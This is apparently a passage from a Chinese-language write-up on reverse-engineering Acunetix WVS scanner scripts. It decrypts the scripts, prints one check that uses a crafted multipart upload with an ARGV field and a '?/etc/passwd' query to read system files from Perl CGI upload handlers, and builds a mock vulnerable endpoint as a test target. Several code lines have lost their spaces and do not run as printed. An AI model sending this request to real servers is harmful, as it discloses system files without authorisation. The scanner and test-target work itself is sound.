defdecrypt_wvs_script(path): plain_text = bytes() try: with open(path, 'rb') as fd: magic = fd.read(4) if magic != MAGIC: logger.info("非加密文件:{}".format(path)) else: cipherText = fd.read() plain_text = decrypt(cipherText) except Exception as e: logger.exception("发生异常: {} -> {}".format(path, e)) return plain_text
defmain(): for root, _, files in os.walk(r'D:\Users\qihoo\Desktop\PerFolder'): for fn in files: path = os.path.join(root, fn) res = decrypt_wvs_script(path) ifnot res: continue try: with open(path, 'w') as fd: fd.write(res) except Exception as e: logger.exception(e)
if (pathExtension && (pathExtension == "cgi" || pathExtension == "pl")) { //扩展名为.pl var fileInputName = ""; // make a list with all file inputs for (var i = 0; i < this.scheme.inputCount; i++) { if (this.scheme.getInputFlags(i) & INPUT_FLAG_IS_FILE) { fileInputName = this.scheme.getInputName(i); break; } }
if (fileInputName) {
var url = this.scheme.path + "?/etc/passwd"; //url里存在/etc/passwd查询字符串
var body = '-----------------------------23780209327207' + CRLF(); body = body + 'Content-Disposition: form-data; name="' + fileInputName + '"' + CRLF(); body = body + CRLF(); body = body + 'ARGV' + CRLF(); body = body + '-----------------------------23780209327207' + CRLF(); body = body + 'Content-Disposition: form-data; name="' + fileInputName + '"; filename="1.txt"' + CRLF(); body = body + 'Content-Type: text/plain' + CRLF(); body = body + CRLF(); body = body + 'test' + CRLF(); // 上传文件的内容为test body = body + '-----------------------------23780209327207--' + CRLF();
// look for /etc/passwd if (!this.lastJob.wasError) { // 收到响应没有错误且包含passwd里的内容 var regex = /((root|bin|daemon|sys|sync|games|man|mail|news|www-data|uucp|backup|list|proxy|gnats|nobody|syslog|mysql|bind|ftp|sshd|postfix):[\d\w-\s,]+:\d+:\d+:[\w-_\s,]*:[\w-_\s,\/]*:[\w-_,\/]*[\r\n])/; var m = regex.exec(this.lastJob.response.body); if (m) { this.alertPerljam2(fileInputName, m[0]); returntrue; } } } }
因此可以针对关键请求实现以下响应,即通过代码覆盖来做测试靶机:
1 2 3 4 5 6 7 8 9 10 11 12
@post('/File_Upload/upload.pl') defFile_Upload_POST(): text = 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n' try: upload_file = request.files['upload_file'] file_content = upload_file.file.read() except Exception as e: return e if request.query_string == '/etc/passwd': if file_content == 'test': return text # ...